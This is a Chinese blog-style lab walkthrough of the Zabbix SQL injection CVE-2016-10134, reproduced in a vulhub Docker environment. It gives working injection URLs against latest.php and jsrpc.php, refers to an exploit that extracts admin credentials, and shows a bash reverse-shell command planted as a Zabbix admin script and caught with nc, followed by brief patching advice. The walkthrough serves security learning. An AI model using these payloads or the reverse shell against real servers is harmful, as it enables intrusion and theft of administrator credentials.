zabbix SQL注入漏洞 (CVE-2016-10134)

zabbix SQL注入漏洞(CVE-2016-10134)

漏洞概述:

  • zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。Zabbix 的latest.php中的toggle_ids[]或jsrpc.php种的profieldx2参数存在sql注入,通过sql注入获取管理员账户密码,进入后台,进行getshell操作。

漏洞版本:

  • 2.2.x
  • 3.3.0-3.03

基本原理:

  • sql注入:简单来说就是通过寻找注入点,进行sql语句拼接,欺骗服务器,获取想要的数据。
  • zabbix:由两部分构成,zabbix server与可选组件zabbix agent。
  • zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能。
  • zabbix agent需要安装在被监视的目标服务器上,它主要完成对硬件信息或与操作系统有关的内存,CPU等信息的收集

漏洞搭建:

  • 利用vulhub漏洞平台(简单粗暴,一键生成漏洞!)进行快速搭建,cd 到zabbix目录,然后docker-compose up -d
  • 如图所示搭建成功,走起!
  • zabbix SQL注入漏洞 (CVE-2016-10134)_第1张图片

漏洞原理:

鼠标双击浏览器,输入zabbix sql注入原理,记得回车!
zabbix SQL注入漏洞 (CVE-2016-10134)_第2张图片

漏洞复现:

  • 两个页面都存在,分别验证。

1. latest.php

  • 这个前提需要登入进去,比如未关闭Guest等。

  • 这个需要把cookie中的zbx_sessionid后16值拿出来,当作下面payload中sid值,然后进行注入。

  • payload:http://ip:port/latest.php?output.php=ajax&sid=************&favobj=toggle&toggle_open_state=1&toggle_ids=updatexml(0,concat(0xa,database()),0)

  • 在登入页面刷新一下即可获取。zabbix SQL注入漏洞 (CVE-2016-10134)_第3张图片

  • 可以验证该处存在sql注入。zabbix SQL注入漏洞 (CVE-2016-10134)_第4张图片

2. jsrpc.php

  • 通过这个无需登入,
  • payload:http://ip:port/jsrpc.php?type=0&mode=1&method=screen.get&profileldx=web.item.graph&resourcetype=17 &profileldx2=updatexml(0,concat(0xa,database()),0)
  • 验证漏洞zabbix SQL注入漏洞 (CVE-2016-10134)_第5张图片
    -当验证存在注入点之后就简单了,可以手工搞,sqlmap跑等等。如果觉得麻烦可以使用exp(http://www.waitalone.cn/Zabbix -sql-1.html),通过实际测试可以顺利获取管理员密码以及session。zabbix SQL注入漏洞 (CVE-2016-10134)_第6张图片

到这就完了?当然没有,下面就让我利用阿d8.0一键getshell吧!
zabbix SQL注入漏洞 (CVE-2016-10134)_第7张图片

  • 用上面管理员账户密码登入到后台(可能环境有问题,一直登入不上去,最终账户是Admin 密码zabbix)
  • 登入之后点Administrator-script-creatscript,进行写入shell: bash -i >& /dev/tcp/ip/端口 0>&1
    zabbix SQL注入漏洞 (CVE-2016-10134)_第8张图片
    利用nc监听,监听8888少打个8,
    zabbix SQL注入漏洞 (CVE-2016-10134)_第9张图片
    在首页主机右键使用该脚本,即可反弹shell。

漏洞修复:

  1. 禁用Guest账户,关闭无用账户。
  2. 打补顶,升级zabbix版本。
  3. 拔网线,跑路(皮一下,切勿使用!!!)。

ps:萌新一枚,余生很长,请多指教。
在这里插入图片描述

你可能感兴趣的:(CVE)